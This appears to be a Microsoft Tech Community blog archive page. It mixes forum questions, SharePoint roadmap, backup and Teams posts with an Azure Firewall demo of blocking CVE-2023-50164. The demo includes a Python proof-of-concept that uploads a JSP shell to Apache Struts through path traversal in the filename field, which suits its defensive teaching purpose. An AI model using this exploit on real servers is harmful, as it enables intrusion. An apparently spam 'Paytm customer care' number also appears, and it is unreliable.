Category: Microsoft
Category Archives: Microsoft
Defender for Servers Alerts in XDR portal
Hello MSFT,
Currently we are a CSP and aren’t able to view alerts over GDAP that pertain to Defender for Cloud. We can see that they are in the Incidents/Alerts queue, however we cannot go into the alert/incident. Currently our analyst have Security Operator, and Security reader. Additionally our clients use URBAC and have the MDE tab enabled. Any insights into this would be beneficial as we are hampered by this lack of visibility and cannot respond to client alerts.
Hello MSFT, Currently we are a CSP and aren’t able to view alerts over GDAP that pertain to Defender for Cloud. We can see that they are in the Incidents/Alerts queue, however we cannot go into the alert/incident. Currently our analyst have Security Operator, and Security reader. Additionally our clients use URBAC and have the MDE tab enabled. Any insights into this would be beneficial as we are hampered by this lack of visibility and cannot respond to client alerts. Read More
Disconnect work or school acount
Hey,
Users are joining the domain @xyz, and some of them have registered their devices to another domain, causing conflicts with the operating system license due to multiple accounts on their work and school accounts. How can I find a solution using Intune or PowerShell to disconnect all other accounts and keep only our domain account?
Thanks.
Hey,Users are joining the domain @xyz, and some of them have registered their devices to another domain, causing conflicts with the operating system license due to multiple accounts on their work and school accounts. How can I find a solution using Intune or PowerShell to disconnect all other accounts and keep only our domain account?Thanks. Read More
How can I talk to a Paytm executive?
If you have any queries or concerns about this transaction, you can go to the 24*7 Help section within the Paytm mobile app to get help from the . Paytm customer care team. You can also call us on our 24/7 customer helpline number – 06370-523-079
If you have any queries or concerns about this transaction, you can go to the 24*7 Help section within the Paytm mobile app to get help from the . Paytm customer care team. You can also call us on our 24/7 customer helpline number – 06370-523-079 Read More
Azure Firewall Protection Against Apache Struts Vulnerability – CVE-2023-50164
Introduction
Vulnerabilities and zero-day exploits continue to be a serious threat to systems worldwide. One such vulnerability is CVE-2023-50164, a critical issue in Apache Struts that can lead to critical security breaches if not properly mitigated. Protecting your systems from such vulnerabilities is paramount to prevent unauthorized access and data loss. Azure Firewall Premium provides a robust solution to safeguard your infrastructure against such threats. This blog post will explore the CVE-2023-50164 vulnerability and demonstrate how Azure Firewall Premium can effectively prevent this attack.
The Apache Struts Vulnerability – CVE-2023-50164
Apache Struts is a free-to-use, open-source framework designed for creating Java-based web applications. It follows the Model-View-Controller (MVC) design pattern, which helps separate the application logic, user interface, and control logic.
CVE-2023-50164, discovered in December 2023, is a critical vulnerability found in this framework. This vulnerability allows attackers to execute arbitrary code on the server, potentially leading to data breaches, system compromises, and other malicious activities. CVE-2023-50164 is a path traversal vulnerability resulting from flaws in the file upload logic. These flaws can allow an attacker to manipulate file upload parameters to enable path traversal, and in some cases, this can result in the uploading of a malicious file that can be used to perform Remote Code Execution.
This vulnerability affects Struts versions 2.5.32 and below and 6.3.0.1 and below. Users are recommended to upgrade to Struts version 2.5.33 (and greater) or Struts version 6.3.0.2 (and greater) to fix this issue. For more information on the vulnerability, affected versions and recommended upgrades refer to NVD – CVE-2023-50164 (nist.gov).
Azure Firewall Premium Protection
Whilst the recommendation is to upgrade an affected Apache Struts application to a patched version, upgrading the software may not be an option or may take too long. In such cases, attackers can take advantage of this vulnerability and attack your systems. Azure Firewall Premium provides comprehensive protection against this vulnerability through its Intrusion Detection and Prevention System (IDPS). Azure Firewall Premium is a cloud-native and intelligent network firewall security service that provides advanced threat protection that meets the needs of sensitive and regulated environments, such as the payment and healthcare industries.
The IDPS feature contains more than fifty categories with over 67,000 signature rules. The range of detection categories comprises malware command and control, phishing, trojans, botnets, informational events, exploits, vulnerabilities, SCADA network protocols, exploit kit activity, and numerous others. The Azure Firewall IDPS signatures are continuously updated in real-time to ensure protection against the latest zero-day threats with 20 to 40 new rules released each day.
To enable protection against the Apache Struts vulnerability in Azure Firewall Premium, IDPS must be enabled in either “Alert” or “Alert and Deny” modes. The signatures highlighted below prevent the Apache Struts malicious attacks.
Proof of Concept: Azure Firewall Blocking CVE-2023-50164
To simulate Azure Firewall Premium stopping an attack against a vulnerable Apache Struts application, we attempt a patch traversal attack in a controlled demo environment using the setup below:
Our setup consists of:
A Hub/central Virtual Network
Azure Firewall Premium deployed in its AzureFirewallSubnet.
A Kali Linux virtual machine which is deployed in an application subnet. We install Tomcat and a vulnerable version of Apache Struts.
An Ubuntu Linux client machine (attacker machine).
Azure Firewall Premium Configuration
We configure our Azure Firewall Premium with DNAT rules to access the Kali Linux virtual machine. Inbound traffic towards the virtual machine is NATed on the Azure Firewall’s Public IP address before being translated to the internal server’s IP address:
The translated ports – 22 and 8080 – allow SSH and HTTP (8080) access to the Kali Linux machine.
From the Azure Firewall Settings pane, under IDPS we set the IDPS mode to “Alert and Deny”.
Kali Linux Configuration
In our setup, we use Kali Linux to install a vulnerable Apache Struts application. We set up the server as below:
Update and install dependencies – including Java Development Kit (JDK) and Python – with the commands below:
sudo apt update
sudo apt upgrade -y
sudo apt-get install git curl python3 unzip openjdk-11-jdk -y
2. Next, we set the JAVA_HOME environment variable to ensure that Tomcat and other Java-dependent tools can consistently
locate and use the correct Java installation. We use the commands below:
export JAVA_HOME=/usr/lib/jvm/java-11-openjdk-amd64
export JRE_HOME=$JAVA_HOME
export PATH=$PATH:$JAVA_HOME/bin
3. We download and install Tomcat (version 9.0.83) to provide a servlet container for running our Apache Struts web application.
The commands below download, extract, configure, and start our Tomcat server:
cd /opt
sudo wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.83/bin/apache-tomcat-9.0.83.tar.gz
sudo tar xzf apache-tomcat-9.0.83.tar.gz
sudo chmod -R 755 /opt/apache-tomcat-9.0.83
sudo chmod +x /opt/apache-tomcat-9.0.83/bin/*.sh
sudo /opt/apache-tomcat-9.0.83/bin/startup.sh
We verify that the Tomcat server is running by checking the Tomcat server page in a web browser at “http://<Public_IP_Address>:9090”.
Apache Struts Deployment
In this step, we download and install a vulnerable Apache Struts application – version 2.5.10 – into our Kali Linux server. The commands below download and extract the Apache Struts version 2.5.10 archive, deploy the struts2-showcase application to the Tomcat server, and restart the Tomcat server to apply the changes.
cd /opt
sudo wget https://archive.apache.org/dist/struts/2.5.10/struts-2.5.10-all.zip
sudo unzip struts-2.5.10-all.zip -d /opt
sudo cp /opt/struts-2.5.10/apps/struts2-showcase.war /opt/apache-tomcat-9.0.83/webapps
sudo /opt/apache-tomcat-9.0.83/bin/shutdown.sh
sudo /opt/apache-tomcat-9.0.83/bin/startup.sh
To verify that our Apache Struts application is running, we navigate to the application’s web page in a browser using the URL “http://<Public_IP_Address>:9090/struts2-showcase/fileupload/upload.action”. If the application is running correctly, you should see the file upload page. This is the specific page that contains the vulnerable file upload functionality that we want to exploit. The page is displayed below:
Exploiting the vulnerability and Azure Firewall Premium Protection against it
In our local attacker machine, we run a Python script to exploit the file upload vulnerability in our Apache Struts application. The script sends a specially crafted HTTP POST request to the vulnerable endpoint, attempting to upload a malicious JSP shell file (shell.jsp). This script demonstrates how an attacker could leverage this vulnerability to gain remote code execution (RCE) on the server.
Navigate to your home directory and open the Nano text editor and create a file named poc.py using the commands:
cd ~
nano poc.py
2. Insert the following Python script into poc.py:
import requests
url = “http://<Public_IP_Address>:9090/struts2-showcase/fileupload/upload.action”
files = {
‘upload’: (‘shell.jsp’, ‘<% out.println(“RCE Test”); %>’, ‘application/octet-stream’),
‘uploadContentType’: (None, ‘application/octet-stream’),
‘uploadFileName’: (None, ‘../../../../../../../../../../../../../../../../usr/share/tomcat9/webapps/ROOT/shell.jsp’),
‘caption’: (None, ‘exploit’)
}
response = requests.post(url, files=files)
print(f”Status Code: {response.status_code}”)
print(f”Response Text: {response.text}”)
3. Execute the above script using the command python3 poc.py (Note – in our test setup script the http port is 9090 as we
are translating this source port to the actual port 8080).
We receive several errors as the connection is reset with Azure Firewall actively blocking the connection.
Post Attack Investigation and Analysis
After simulating the attack on the vulnerable Apache Struts application, it’s essential to investigate and confirm that Azure Firewall Premium effectively blocked the malicious activity. To achieve this, we can utilize Azure Firewall logs and also use the Copilot for Security integration for Azure Firewall.
Azure Firewall logs provide detailed visibility into the firewall’s traffic and operations, helping us track and analyze the blocked attack but logs can often be tough to manually parse especially when log volume is extremely high. The integration of Azure Firewall with Copilot for Security significantly enhances our ability to investigate and respond to security incidents with ease. Copilot for Security leverages powerful AI-driven tools to streamline the investigation process, offering insights and recommendations based on the analyzed Azure Firewall IDPS logs helping you respond with the speed and scale of AI.
Investigating with Azure Firewall Logs
To view the Azure Firewall IDPS logs, we navigate to our Azure Firewall and select Logs under the Monitoring section. We run the query below on the AZFWIdpsSignature table:
AZFWIdpsSignature
| take 100
From the results, we can clearly observe that the malicious traffic was dropped.
Enhancing the Investigation with Copilot for Security
Using the Copilot for Security integration with Azure Firewall, we can perform detailed investigations of the malicious traffic intercepted by IDPS. Copilot for Security allows us to swiftly investigate and analyze the attack using natural language prompts, providing detailed actionable results. The currently supported capabilities in this integration include:
Viewing top signature hits.
Getting details on an IDPS signature.
Searching across firewalls for an IDPS signature.
Generating recommendations to secure your environment using IDPS.
To use Copilot for Security with Azure Firewall, log into the Copilot for Security standalone portal associated with your environment and enable the Azure Firewall plugin:
To learn more about the Copilot for Security integration with Azure Firewall, you can check out – Azure Firewall integration in Microsoft Copilot for Security (preview) | Microsoft Learn
We start a new session and can use the prompts below to get details related to our attack scenario:
Show me a summary of the top 5 high severity attacks related to known CVEs that have been stopped by the Azure Firewall – <Firewall Name> – in the last 12 hours. Provide the output in tabular format for easier readability.
Tell me more about the Apache Struts vulnerability (CVE-2023-50164).
Was signature ID 2049667 only stopped by this one Firewall? What about others across this entire tenant?
What strategies can be implemented in my Azure Firewall and across my environment, to effectively guard against vulnerabilities similar to CVE-2023-50164?
Show me a summary of the top 5 high severity attacks related to known CVEs that have been stopped by the Azure Firewall – <Firewall_Name> in the last 12 hours. Provide the output in tabular format for easier readability:
As you can see, Copilot automatically detects that there are multiple signatures associated with the same CVE and it alerts you to that information. You can also click on the button in the top right corner to expand the table to see all the log information available.
Tell me more about the Apache Struts vulnerability (CVE-2023-50164):
Instead of having to go research the CVE yourself using external tools, you can simply ask Copilot to tell you about this CVE and why it is malicious.
Was signature ID 2049667 only stopped by this one Firewall? What about others across this entire tenant?
You can also have Copilot search across your entire infrastructure for this attack to make sure you are not vulnerable elsewhere.
What strategies can be implemented in my Azure Firewall and across my environment, to effectively guard against vulnerabilities similar to CVE-2023-50164?
Conclusion
CVE-2023-50164 is a serious vulnerability in Apache Struts that can lead to severe security breaches. While upgrading to the latest version of Struts is the best way to mitigate this vulnerability, Azure Firewall Premium offers an additional layer of protection with its advanced threat detection and prevention capabilities. Implementing Azure Firewall Premium can safeguard your systems from potential exploits and maintain a secure environment. Furthermore, integrating Azure Firewall Premium with Copilot for Security enhances your ability to investigate and respond to security incidents. This powerful combination not only blocks threats but also provides detailed insights and actionable recommendations to fortify your security posture. Implementing these tools ensures comprehensive protection and swift response to security threats, keeping your infrastructure safe and secure.
Resources:
What is Azure Firewall – What is Azure Firewall? | Microsoft Learn
Azure Firewall Premium Features – Azure Firewall Premium features | Microsoft Learn
Azure Firewall IDPS signature rule categories – Azure Firewall IDPS signature rule categories | Microsoft Learn
Azure Firewall integration in Microsoft Copilot for Security – Azure Firewall integration in Microsoft Copilot for Security (preview) | Microsoft Learn
Azure Firewall integration in Copilot for Security: protect networks at machine speed with Gen AI (Blog) – Azure Firewall integration in Microsoft Copilot for Security
CVE-2023-50164 Detail – NVD – CVE-2023-50164 (nist.gov)
Microsoft Tech Community – Latest Blogs –Read More
SharePoint roadmap pitstop: July 2024
Some nice, collaborative, cheeky treats landed this past month – most of which are designed to help you work better together; some might round out your gaming time…
July 2024 brought some great new offerings—New SharePoint content pane, co-authoring in SharePoint, OneDrive: Additional file types to filter, OneDrive: Updated shared folder experience, new Copilot in Planner (preview), the 2024 release wave 2 plans for Dynamics 365 and Power Platform, details about how to enter the Deadpool Xbox giveaway sweepstakes, and more. Details and screenshots below, including our audible companion: The Intrazone Roadmap Pitstop: July 2024 podcast episode – all to help answer, “What’s rolling out now for SharePoint and related technologies into Microsoft 365?”
In the podcast episode, I chat with Melissa Torres (Twitter | LinkedIn), Principal PM manager at Microsoft on the SharePoint team. Melissa and I talk about recent pages and news updates (News > Outlook, section designs, image shapes, video pages, new content pane) and then dive into learning more behind the scenes of co-authoring in SharePoint pages.
Melissa Torres, Principal PM Manager (SharePoint pages / Microsoft) – our Intrazone guest (right) speaking with Mark Kashman (left) via Teams.
All features listed below began rolling out to Targeted Release customers in Microsoft 365 as of July 2024 (possibly early August 2024).
Inform and engage with dynamic employee experiences
Build your intelligent intranet on SharePoint in Microsoft 365 and get the benefits of investing in business outcomes – reducing IT and development costs, increasing business speed and agility, and up-leveling the dynamic, personalized, and welcoming nature of your intranet.
SharePoint: New content pane for pages and news
This is a convenient hub that supports various author actions when crafting publications. And note: It also applies to working with pages in Viva Amplify; something I just utilized this morning to broadly share the Loop learning series news internally far and wide. This content pane includes tools such as the distribution channel selection, writing guidance, and audience selection.
The new SharePoint content pane in use during edit mode – showing Web part, Stock images, and Section templates.
You’ll see it when editing SharePoint Pages and News. You’ll know you’re there when you see categories for web parts, media, and section templates. Not only is it more organized, but as you create and design, you’re clicking and dragging web parts and media onto the page while editing. It makes editing more seamless and consistent. Use the new content pane for less editing pain in your future.
The new SharePoint content pane in use in Viva Amplify during edit mode – showing Web part, Stock images, and Section templates.
Roadmap ID 124827 and ID 398977.
Learn more + blog.
SharePoint: Collaborate on SharePoint pages and news with co-authoring
You now have the ability for multiple authors to edit the same Page at the same time, without having to take turns. Authors can see real-time changes made by others as they happen in pages, sections and web parts.
When co-authoring on a SharePoint page, you’ll see where your colleagues are working – on the page, within web parts, within sections.
After an author starts editing a page, they can see if other authors are also editing with the page presence in the command bar. Multiple authors can simultaneously edit the same page and section, but coauthors cannot edit the same web part at the same time. Changes made by authors are saved automatically every few seconds. If authors want to exit ‘edit mode,’ they can select Save and close.
In the below video, Melissa demos much of what you can do when co-authoring in SharePoint pages and news:
Three FAQs for SharePoint page co-authoring:
If an author attempts to publish or post a page while others are actively editing, the author will see a warning message that others are editing. If desired, the author can proceed with publishing and posting. The same behavior applies for scheduling and submitting for approvals.
To undo changes, authors can continue to use Undo as they do today to undo the most recent changes by the current author in the current browser session. To undo more changes or changes made by other users, authors can restore a prior version from Version History (under Page details).
The command for Save as draft has been removed as it is no longer needed to check in the draft for another user to edit.
Roadmap ID 124853.
BLOG + DEMO VIDEO | “Introducing Coauthoring for SharePoint Pages and News” by Melissa Torres
Watch | “Content Management and Collaboration for the AI Era“
Watch | “The intranet of tomorrow: beautiful, flexible, and AI ready“
Teamwork updates across SharePoint team sites, OneDrive, and Microsoft Teams
Microsoft 365 is designed to be a universal toolkit for teamwork – to give you the right tools for the right task, along with common services to help you seamlessly work across applications. SharePoint is the intelligent content service that powers teamwork – to better collaborate on proposals, projects, and campaigns throughout your organization – with integration across Microsoft Teams, OneDrive, Yammer, Stream, Planner and much more.
OneDrive: Additional file types to filter your lists of files
When you know more about what you’re looking for, you’ll find it faster. That’s search 101 in Microsoft 365. To help, OneDrive brings new file type filters, like OneNote, Lists, Loop, and more.
You will see a new dropdown menu to filter content when using OneDrive.
You will see a new dropdown menu to filter content in the OneDrive Home, Shared, People, Meetings, and Favorites views. You’ll be able to select from the following file types, you see filters for:
OneNote
Microsoft Lists
Videos
Loop
Photos
Whiteboard
Power BI
And as you apply a filter, the speed of UI refresh is like butter these days. Find it faster by refining your findings with new file type filters… in OneDrive.
MCID: MC814578
OneDrive: is updating the shared folder experience
Currently, when a user opens a shared folder in OneDrive, they are taken to a view of that folder within the sharer’s OneDrive. In the new experience, opening a shared folder will take the user to the shared folder within the People view of their own OneDrive. This view, organized by people, shows and allows access to all the files and folders that have been shared with the user.
A before (left) and after (right) look at the Shared folder experience in OneDrive for the Web.
It’s a cleaner way of representing the who of the what – with a more consistent visual context.
Roadmap ID 395378.
Related technology
Try out the new Copilot in Planner (Preview) in the new Microsoft Planner in Teams
We are excited to share that the Copilot in Planner (Preview) is now rolled out to 100% of users with a Project Plan 3 or Project Plan 5 license* in Microsoft Planner in Teams. With the power of generative AI, Copilot in Planner streamlines the planning, management, and execution of your work, keeping you informed. With Copilot in Planner, teams can generate and add tasks, goals, and buckets based on user prompts, and even create a full plan including these elements.
Copilot in the new Planner can help with planning, managing, and tracking projects.
Recent preview updates include:
The ability to return to previous chats and improved reliability in answering questions about progress, due dates, and assignments.
Enhancements in adding subtasks and linking tasks to buckets and goals.
New suggested prompts to highlight question and answer capabilities.
There is a lot to learn and try, and the Planner team is all ears and responsive, taking the feedback and making the product better in the ways you let them know about.
2024 release wave 2 plans for Microsoft Dynamics 365 and Microsoft Power Platform
Published the 2024 release wave 2 plans for Microsoft Dynamics 365 and Microsoft Power Platform. These plans are a compilation of the new capabilities planned to be released between October 2024 to March 2025. This release introduces a wealth of new features designed to enhance customer understanding and improve overall user experience.
I’ll share three highlights and encourage you to hit the links in the show notes and blog to review it all:
Highlight #1 | Microsoft Copilot for Sales continues to deliver and enhance cutting-edge generative AI capabilities. Updates will focus on using AI-powered insights to create leads, deepen the integration into Copilot in Microsoft 365, and use natural language capabilities to allow sellers to ask data-related questions of their CRM. View this video to learn more about the features releasing in this wave.
Highlight #2 | Microsoft Power Apps will expand Copilot capabilities to work with data, get insights, and improve their apps. Makers will continue to benefit from AI-assisted development, enabling rich and complex applications to be built with monitoring, control, and unmatched governance for admins, ensuring organizations can adopt low-code and AI transformation at scale.
Highlight #3 | Microsoft Power Pages will expedite site building for a low-code maker or pro developer to build intelligent sites that adapt to how you interact with your employees, customers, and partners.
Plus, visit the early access FAQ page for more information
And since we’re talking about the Power Platform, here’s a did you know: Did you know the Power Platform community has a new site? Indeed, they do: just head on over to https://community.powerplatform.com/
It’s a great community to be a part of something bigger. Connect with peers and experts, get answers to your questions, and learn best practices – all in one place.
Deadpool Xbox “Cheeky Controller” sweepstakes from the Xbox team
I wanted to let you in on a fun sweepstakes the Xbox team is running. I can’t not share this unique Merc-with-a-Mouth merch from the Xbox team. That’s right – it’s your chance to win a custom Xbox Series X console & 2 Cheeky Controllers designed by Deadpool. #XboxCheekyControllerSweepstakes
Deadpool Designs the Cheekiest Xbox Controller.
Note: This one’s for Ages 18+ with no purchase necessary. The Sweepstakes started at 6:00 a.m. Pacific Time (PT) on Wednesday, July 17, 2024, and ends at 8:00 p.m. PT on Sunday, August 11th, 2024.
Follow @Xbox on Twitter and repost one of the designated promotional posts containing the hashtag #xboxcheekycontrollersweepstakes during the Entry Period. Full Rules: http://xbx.lv/4cxoA4B
As Deadpool has said, “Life is an endless series of train wrecks with only brief commercial-Like breaks of happiness.” Check out this #CheekyController as a nice commercial-break-of-happiness to your day today.
More details + full rules.
Start with this tweet or this video on Twitter + a fun image on Instagram
Watch: Unboxing on Xbox Pod + full epi
Learn more about Microsoft Loop
We have five upcoming Loop’y events for you – numerous opportunities to see Loop in action, to learn about their upcoming roadmap items – like Copilot in Loop innovation, lots of opportunities to ask questions, get some time-saving tips and tricks, and provide direct feedback to the Loop product team.
Check it out now, go to: https://aka.ms/LoopLearningSeries
Microsoft Loop | 5-Part Learning Series.
Here are the short details about each of the five Loop webinars:
Part 1 | “Meet the makers: The story behind Loop” with Ron Pessner, Michelle Holtmann, and Karuana Gatimu | Wednesday, August 14th, 2024, from 10:00am – 11:00am PDT.
Part 2 | “Almost everything you need to know to start with Microsoft Loop” with Rebecca Keys and Tamine Mokdissi | Wednesday, August 21st, 2024, from 10:00am – 10:30am PDT.
Part 3 | “Level up your project management with Loop” with Esha Mathur and Jessica Mariscal Quintana | Wednesday, August 28th, 2024, from 10:00am – 10:30am PDT.
Part 4 | “Meet Copilot in Loop” with Jenna Hong and Oby Omu | Wednesday, September 4th, 2024, from 10:00am – 10:30am PDT.
Part 5 | “AMA: Live Video Q&A with the Loop team” with Derek Liddell, Dan Costenaro, and Manon Knoertzer | Wednesday, September 11th, 2024, from 10:00am – 11:30am PDT.
I wanted to make sure you were Loop’ed in on this 5-Part Microsoft Loop Learning Series.
Register today: https://aka.ms/LoopLearningSeries and see you there!
July 2024 teasers
Psst, still here? Still scrolling the page looking for more roadmap goodness? If so, here is a few teasers of what’s to come to production next month…
Teaser #1: SharePoint: A new Start experience [Roadmap ID: 124824]
Teaser #2: New Banner web part for pages and news [Roadmap ID: 386904]
… shhh, tell everyone.
Helpful, ongoing change management resources
“Stay on top of Office 365 changes“
“Message center in Office 365“
Install the Office 365 admin app; view Message Center posts and stay current with push notifications.
Microsoft 365 public roadmap + pre-filtered URL for SharePoint, OneDrive, Yammer and Stream roadmap items.
SharePoint Facebook | Twitter | SharePoint Community Blog | Feedback
Upcoming events
TechCon365 – DC | August 12-16, 2024 | Washington, D.C.
CollabDays Hamburg | August 31, 2024 – Hamburg, Germany
Microsoft Power Platform Conference | Sept. 18-20, 2024 | Las Vegas, NV
CollabDays – New England | Oct. 18, 2024 | Burlington, MA
TechCon365 – Dallas | Nov. 11-15, 2024 | Dallas, TX
Microsoft Ignite (+ more info) | Nov 18-22, 2024, “Save the date” | Chicago, IL
European SharePoint Conference [ESPC]| Dec 2-5, 2024 | Stockholm, Sweden
+ always review and share the CommunityDays.org website
Follow me to catch news and interesting SharePoint things: @mkashman; warning, occasional bad puns may fly in a tweet or two here and there.
Thanks for tuning in and/or reading this episode/blog of the Intrazone Roadmap Pitstop – July 2024. We are open to your feedback in comments below to hear how both the Roadmap Pitstop podcast episodes and blogs can be improved over time. Engage with us. Ask those questions that haunt you. Push us where you want and need to get the best information and insights. We are here to put both our and your best change management foot forward.
Stay safe out there on the road’map ahead. And thanks for listening and reading.
Thanks for your time,
Mark Kashman – Senior product manager | SharePoint / Lists | Microsoft
The Intrazone Roadmap Pitstop – July 2024 graphic showing some of the highlighted release features.
Microsoft Tech Community – Latest Blogs –Read More
Microsoft Announces General Availability of Microsoft 365 Backup and Microsoft 365 Backup Storage
Microsoft 365 is designed to ensure high availability, disaster recovery, security, and data privacy. As the number of ransomware attacks and the scale of impacted data increase year over year, customers want enhanced self-service recovery capabilities over extended time periods. We’re excited to announce the general availability of Microsoft 365 Backup, and the underlying developer-focused Microsoft 365 Backup Storage platform, delivering capabilities to help you address these growing challenges.
Included:
• Microsoft 365 Backup provides performant backup and recovery for your critical active data to maintain business continuity at speeds orders of magnitude faster than with traditional migration-based backup methodologies.
• Microsoft 365 Backup Storage gives third-party backup developers a way to provide you with the same benefits of the native Microsoft 365 Backup solution through their own integrated application.
Microsoft 365 Backup
Microsoft 365 Backup allows for ultra-high-speed recovery of your OneDrive, SharePoint, and Exchange data. Because those backups are kept within the Microsoft 365 trust boundary, security breach surface and excessive application data access is limited. Microsoft 365 Backup provides business continuity peace of mind while offering fast backup with frequent recovery points and low average recovery times at mass scale. Many customers will see average speeds for mass restores that are 20 times faster than traditional means of backing up and restoring large volumes of Microsoft 365 data (Microsoft internal research, 2024).
Get started with Microsoft 365 Backup today. Microsoft 365 Backup is offered through the Microsoft 365 admin center and is sold as a standalone pay-as-you-go (PAYGO) solution with no additional license requirements.
Microsoft 365 Backup Storage
Microsoft 365 Backup Storage is our preferred platform for backing up and restoring Microsoft 365 data at scale. In addition to powering our native Microsoft 365 Backup offering, the platform enables independent software vendors (ISVs) to build applications using the Microsoft 365 Backup Storage APIs to backup and recover a healthy state of end customer data to restore business continuity as quickly as possible after an attack. Users of these solutions can therefore gain all the benefits of Microsoft 365 Backup plus additional value from vendor-delivered applications that leverage the Microsoft 365 Backup Storage platform.
Microsoft 365 Backup Storage architecture provides speed, tight security and privacy controls, and business continuity recovery with built-in service and data resiliency
Partner Solutions
While you can experience the advantages of the Microsoft 365 Backup Storage platform directly through the Microsoft 365 Backup offering, there are also benefits to using a partner-developed solution. Our partners offer robust and integrated solutions that combine Microsoft 365 with other data sources, all within one interface. Using Microsoft 365 Backup Storage, these partner applications ensure fast backup and restore operations.
We are excited to have our partners committed to bringing the benefits of Microsoft 365 Backup Storage to our customers. They include AvePoint, Cohesity, Commvault, Rubrik, Veeam, Veritas, and more to come.
Product Recognition
If you’re looking for a preferred backup solution built on the Microsoft 365 Backup Storage platform, we’ll be publishing a Microsoft 365 Backup Product Recognition guide. In that guide, we’ll highlight ISV solutions that take advantage of our platform to deliver high speed reliable backup and restore.
Get Started Today
Remember, you’re only truly backed up if you can recover quickly at scale. Microsoft 365 Backup uses our new Backup Storage platform to provide protection for Microsoft 365-based data sources with mass recovery speeds 20 times faster than traditional solution. It backs up and restores your OneDrive, SharePoint, and Exchange data at scale – while also keeping multiple redundant backups within the Microsoft 365 trust boundary to maintain business continuity, security, and privacy.
Setup Microsoft 365 Backup in a few simple steps
https://aka.ms/M365Backup/Setup
Learn more about Microsoft 365 Backup
Find a recognized Microsoft 365 Backup Storage solution from our launch partners
http://aka.ms/M365BackupStorage/Apps
Learn more about Microsoft 365 Backup pricing model and calculator
https://aka.ms/M365Backup/Pricing-Model
Watch the Microsoft 365 Backup anthem video
https://aka.ms/M365Backup/Video
Read the Microsoft 365 Backup guidance whitepaper
https://aka.ms/M365Backup/Whitepaper
Get Microsoft 365 Backup adoption resources
https://aka.ms/M365Backup/Adoption
Learn more about Microsoft 365 Backup Storage
https://aka.ms/M365BackupStorage
Microsoft Tech Community – Latest Blogs –Read More
Supercharge Your Business: Simplify communications with AI in Microsoft Teams and Teams Phone
As a business owner, you know how important communication and collaboration are for your success. With so many ways to connect, it is more important than ever for a modern communication solution to help you keep in touch with your customers, partners, and employees. Did you know that Microsoft Teams and Microsoft Teams Phone are loaded with features designed to make collaboration easier, that can be enhanced with AI capabilities? Read on to learn more.
Collaborate Better with Teams and Teams Phone
With hundreds of millions of monthly active users, Teams has become the popular and preferred collaboration tool for many businesses. It offers a range of core capabilities like chat, calling, meetings, file sharing, and integration with Microsoft 365 and third-party apps—all accessible through desktop, or on-the-go. Add Teams Phone to your Teams subscription and you’ll get PSTN and VoIP capabilities from anywhere and on various devices, including within Microsoft 365 apps. We’ve steadily incorporated AI-powered features to enhance Teams and Teams Phone and to make the user experience more enjoyable.
At BASYS Processing, a leader in debit and credit card processing, Microsoft Teams is the go-to platform for collaboration and Microsoft Teams Phone replaced an existing telephony platform.
“We use Teams to share information in real time. We are able to save a lot of meeting time and about 10 hours of prep time per event. It allows us to prioritize our work.”
– Chris Borchers, Chief Technical and Product Officer
To ensure that audio and video quality are top notch for all meeting participants, Teams uses AI algorithms to enhance speech quality, suppress background noise, and transcribe meetings. AI helps with echo cancellation, automatically adjusts for poor room acoustics, and suppresses background noise. On the video side, Teams has AI-based optimization to ensure your video looks great, even under bandwidth constraints, and AI-powered filters so you can adjust brightness and add a soft focus, so you look great, even in low-light environments. To make sure your presentation always comes through the way you intended it to, Teams uses machine learning to detect and adjust the content characteristics in real-time to optimize legibility and smoothness of video playback.
To make hybrid meetings better, Teams offers Microsoft IntelliFrame which helps hybrid meeting attendees see in-room participants more clearly by capturing individual video feeds. When using Teams Rooms equipped with supported cameras, Intelliframe will automatically zoom in on and frame in-room attendees so online attendees can get the best possible view of the those in the physical meeting room.
Cloud IntelliFrame
Microsoft Copilot in Meetings
Get even more out of AI with Copilot1 by never missing the context and discussion happening in the chat. Copilot provides powerful insights from meeting chats. It helps you summarize key chat discussion points in real time so you can follow along. It identifies who said what, where there is alignment or disagreement, and suggests action items.
Catch Up on Missed Meetings
And if you can’t make a meeting, Copilot has features to get you caught up. It offers a summary with AI-generated meeting notes, tasks, and name mentions. The transcript from the meeting is shared along with the video recording so you can quickly search and scroll to what you’re looking for and find relevant details and information. You don’t have to watch the entire recording to get caught up, which can be a huge time-save.
AI in Microsoft Teams
Eliminate communication barriers with AI powered calling in Teams Phone
Teams Phone2, is the smart calling solution native to Teams. Teams Phone’s AI powered calling allows users to make and receive PSTN and VoIP calls from anywhere and on various devices, including within Microsoft 365 apps. By adding Teams Phone to your Teams plan you can consolidate your communications tools and rely on a single app to make calls, meet, chat, and collaborate.
Making a Teams Call
Ensure clarity in communication and never miss a word or nuance with transcription or live translation3 of calls. Following up afterwards is easier with transcription search, voicemail summaries.
Call transcription; Inset live translation and transcription during a Teams Call
Take your office with you with, eliminate distractions and focus on your conversation with AI-enhanced noise suppression and background blur capabilities. Voice isolation ensures that your voice stands out in a sea of noise, allowing for uninterrupted conversations even in the busiest of environments.
Ensure that you deliver on your commitments with intelligent call recap. This capability provides an AI-powered summary of your VoIP and PSTN calls in Teams, highlighting action items and key points, ensuring that nothing slips through the cracks. Available with Teams Premium or Copilot for Microsoft 365 users.
Teams Call recap
Conduct your business on a secure, reliable and consistent calling solution that has financially backed 99.999% uptime guarantee which covers Teams Calling Plans, Teams Phone, and Audio Conferencing. And Survivable Branch Appliance permits users to continue placing and receiving PSTN calls, even when offline, preserving business continuity to stay connected in the event of a network outage.
Learn more about how Teams Phone can help your organization stay connected and productive. Get started today with a Teams Phone trial or connect with your Microsoft account team or a certified partner to learn more about deploying Teams Phone.
Get Started Today
Ready to revolutionize your business communication? Find the right Microsoft 365 plan for you today and to begin your journey towards AI-powered communication and collaboration. To learn more about how businesses are planning to leverage AI and how to engage your workforce, check out our recent blog article.
Stay tuned for next month’s issue of Supercharge Your Business with Microsoft 365.
Mark Your Calendars: If you would like to meet with a Microsoft expert, join us for the Microsoft Tools for Small and Medium Businesses Ask Me Anything (AMA) on Wednesday, September 25th, from 9:00 AM to 10:00 AM PT. This event is an opportunity to connect with experts who can answer questions about how to utilize Microsoft tools to enhance your small or medium businesses. Learn more here: Microsoft Tools for Small and Medium Businesses AMA – Microsoft Community Hub.
1. Requires a Microsoft 365 and a Microsoft 365 Copilot license in order to access Copilot in Teams.
2. Requires a Team Phone subscription.
3. Requires a Teams Premium subscription.
Microsoft Tech Community – Latest Blogs –Read More
Build your organization’s Copilot skills at TechCon365 in Washington D.C.
